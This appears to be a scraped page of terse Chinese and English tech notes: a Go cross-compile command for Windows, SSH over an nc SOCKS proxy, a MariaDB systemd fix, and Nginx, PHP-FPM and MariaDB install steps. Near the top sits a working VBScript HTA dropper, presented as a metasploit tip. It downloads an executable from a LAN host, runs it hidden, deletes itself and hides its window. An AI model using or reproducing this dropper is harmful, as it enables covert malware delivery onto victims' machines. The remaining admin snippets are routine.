CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build /xxx/xxx/xxx.go -o /xxx
减小体积:-ldflags "-s -w"
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build /xxx/xxx/xxx.go -o /xxx
减小体积:-ldflags "-s -w"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
<script language="VBScript"> window.moveTo 8888,8888 u="http://192.168.1.23/test.exe" p="m.exe" Set x=CreateObject("Microsoft.XMLHTTP") x.Open"GET",u,0 x.Send() Set s=CreateObject("ADODB.Stream") s.Mode=3 s.Type=1 s.Open() s.Write(x.responseBody) s.SaveToFile p,2 Set w=CreateObject("Wscript.Shell") w.Run p,0 w.Run"cmd /c del a.hta",0 window.resizeTo 0,0 window.close </script> |
This simple information might be useful for you who use metasploit framework :-).
继续阅读metasploit tips
直接使用命令行:
1 |
ssh root@IP -p port -o ProxyCommand='nc -x 127.0.0.1:1086 %h %p' |
修改配置文件:
1 |
vim ~/.ssh/config |
添加
1 |
ProxyCommand /usr/bin/nc -x 127.0.0.1:1086 %h %p |
无selinux,高版本MariaDB已默认关闭apparmor设置
问题是服务器设置造成的
修改/lib/systemd/system/mariadb.service
ProtectHome=false
默认禁止写/HOME目录,问题解决
Nginx:
1 2 3 4 5 6 7 8 |
#!/bin/bash apt-get install lsb-release wget http://nginx.org/keys/nginx_signing.key apt-key add nginx_signing.key codename=`lsb_release -c |awk '{print $2}'` echo 'deb http://nginx.org/packages/ubuntu/ codename nginx'|sed 's/codename/precise/' >> /etc/apt/sources.list apt-get update apt-get install nginx |
php7.1-fpm
1、更新ubuntu系统
1 |
sudo apt-get update |
2、安装php
添加php源
1 2 |
add-apt-repository ppa:ondrej/php apt-get update |
安装php-fpm
1 |
apt-get install php7.1-fpm |
3、安装nginx
4、配置
编辑 vim /etc/nginx/sites-available/default
取消”location ~ .php”的注释,如下三行对应修改
root /www;
fastcgi_pass unix:/run/php/php7.1-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
5、重启nginx
sudo service nginx restart
MariaDB:
1 2 3 4 5 |
lsb_release -a $ sudo apt-get install software-properties-common $ apt-key adv --recv-keys --keyserver hkp://keyserver.ubuntu.com:80 0xF1656F24C74CD1D8 $ sudo add-apt-repository 'deb http://sfo1.mirrors.digitalocean.com/mariadb/repo/10.2/ubuntu xenial main' |